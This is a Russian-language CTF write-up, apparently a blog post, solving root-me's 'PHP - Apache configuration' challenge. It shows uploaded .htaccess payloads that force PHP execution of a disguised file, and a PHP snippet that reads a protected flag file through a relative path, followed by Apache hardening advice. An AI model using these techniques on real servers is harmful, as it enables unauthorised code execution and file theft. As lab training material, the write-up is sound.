Продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "PHP - Apache configuration". За решение задачки дают 25 баллов, ближе к среднему уровню.
Нам сразу говорят, что флаг находится в файле /private/flag.txt, относительно корня web сервера. Так что цель уже ясна, сам флаг разыскивать не придётся.
Сразу даётся много подсказок:
- У нас есть web-сервер Apache
- Сайт работает на PHP
- Есть форма загрузки, при этом разработчик запретил загружать PHP файлы.
- Что-то не так с конфигурацией сервера.
- Работать придётся с файлом .htaccess.
.htaccess (hypertext access) — файл дополнительной конфигурации web-сервера Apache и подобных ему серверов. Позволяет задавать большое количество дополнительных параметров и разрешений для работы web-сервера в отдельных каталогах без изменения главного конфигурационного файла.
Ссылки
https://httpd.apache.org/docs/2.2/fr/howto/htaccess.html
Решение
Переходим на страницу задания:
http://challenge01.root-me.org:59062/
Видим страницу с формой загрузки и текстом "Please upload any file you like, but no .php". Можно загружать всё кроме PHP.
Флаг находится в файле /private/flag.txt, доступа к нему у нас нет: 403. Заодно видим версию web-сервера Apache — 2.4.56 и тип ОС Debian.
Давайте что-нибудь загрузим, например, PNG картинку.
Картинка загрузилась, нам любезно дают ссылку на неё. И пишут, что файлики затрутся через 10 минут, работаем шустрее.
Картинка открылась. Загрузка производится в директорию /uploads/..., которая совсем не совпадает с той, где лежит флаг. Кроме этого в папке создаётся директория с идентификатором сессии, это для того, чтобы юные хакеры не толпились в одной папке и не мешали друг другу.
Пробуем посмотреть список файлов в директории, доступа нет.
Для полноты картины пробую загрузить любой PHP файл. Дорогие сэры и мадамы, фиг вам. Что и следовало ожидать.
Начинаем развлекаться. создадим файл с названием ".htaccess" с содержимым:
Options All +Indexes
Данный код разрешает просмотр содержимого директории.
Попробуем загрузить файл ".htaccess". Ого, файл загрузился.
Загрузим ещё что-нибудь и посмотрим содержимое директории, в которую мы загружаем файлы.
Прекрасно, теперь видно содержимое директории. Мы получили возможность управлять настройками данной папки. К примеру, мы можем загрузить любой файл и сказать серверу, что он исполняемый.
Создаём файл "smile" с PHP кодом, который выводит стандартную функцию PHP:
<?php phpinfo(); ?>
Редактируем ".htaccess":
Options All +Indexes
<FilesMatch "smile">
SetHandler application/x-httpd-php
</FilesMatch>
Здесь мы говорим серверу, что файл "smile" — это PHP. Загружаем оба файла на сервер и пробуем открыть наш "smile".
Ничего не произошло. Получается, что где-то выше есть файл конфигурации, в котором отключено выполнение PHP скриптов для всей попки /uploads. Но дело поправимое. Для начала выясним, что за PHP у нас стоит. Допустим, PHP 5? Редактируем ".htaccess":
Options All +Indexes
<IfModule mod_php5.c>
blablabla
</IfModule>
<FilesMatch "smile">
SetHandler application/x-httpd-php
</FilesMatch>
Если IF сработает, то на сервере включён модуль PHP 5. Загружаем ".htaccess", заходим в папку, всё работает. Допустим, PHP 7? Редактируем ".htaccess":
Options All +Indexes
<IfModule mod_php7.c>
blablabla
</IfModule>
<FilesMatch "smile">
SetHandler application/x-httpd-php
</FilesMatch>
Загружаем ".htaccess", заходим в папку, всё упало с 500 ошибкой. У нас PHP 7. Редактируем ".htaccess":
Options All +Indexes
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<FilesMatch "smile">
SetHandler application/x-httpd-php
</FilesMatch>
Так мы включим PHP в папке с файлом ".htaccess", загружаем его на сервер. Пробуем открыть наш файл "smile".
Отлично, мы выполнили PHP код. Осталось модифицировать PHP код таким образом, чтобы выцепить содержимое файла /private/flag.txt.
<?php $filename = '../../private/flag.txt';
$handle = fopen($filename, "rb");
$contents = fread($handle, filesize($filename));
fclose($handle);
echo "<b>$contents</b>";
?>
Заново загружаем "smile" и выполняем.
Флаг получен. Валидируем.
Флаг подходит, зарабатываем 25 очков.
Безопасность
- Нельзя давать возможность пользователю редактировать файл ".htaccess".
- Нельзя давать возможность пользователю загружать файл ".htaccess" в какую-либо директорию сервера.
- Скройте информацию о версии Apache и другую чувствительную информацию.
- Apache должен запускаться с отдельным пользовательским акаунтом и группой. Даже если сломают сайт, то хотя бы на сервер не смогут пролезть.
- Options None и AllowOverride None: отключаем опции для сервера и стключаем отдельно для нужных директорий.
- Options -Indexes: отключаем просмотр директорий.
- Options -ExecCGI: выключаем CGI.
- Options -FollowSymLinks: отключаем ссылки.
- И главное, если вам не нужна поддержка файлов ".htaccess", то AllowOverride None.
- Изучите mod_security.
Имея возможность управлять файлом ".htaccess", злоумышленник может делать кучу трюков. Вот некоторые из них.
Источник:
Если вам понравилась статья, то ставьте 👍🏻 каналу.
Пишите комментарии, задавайте вопросы, подписывайтесь.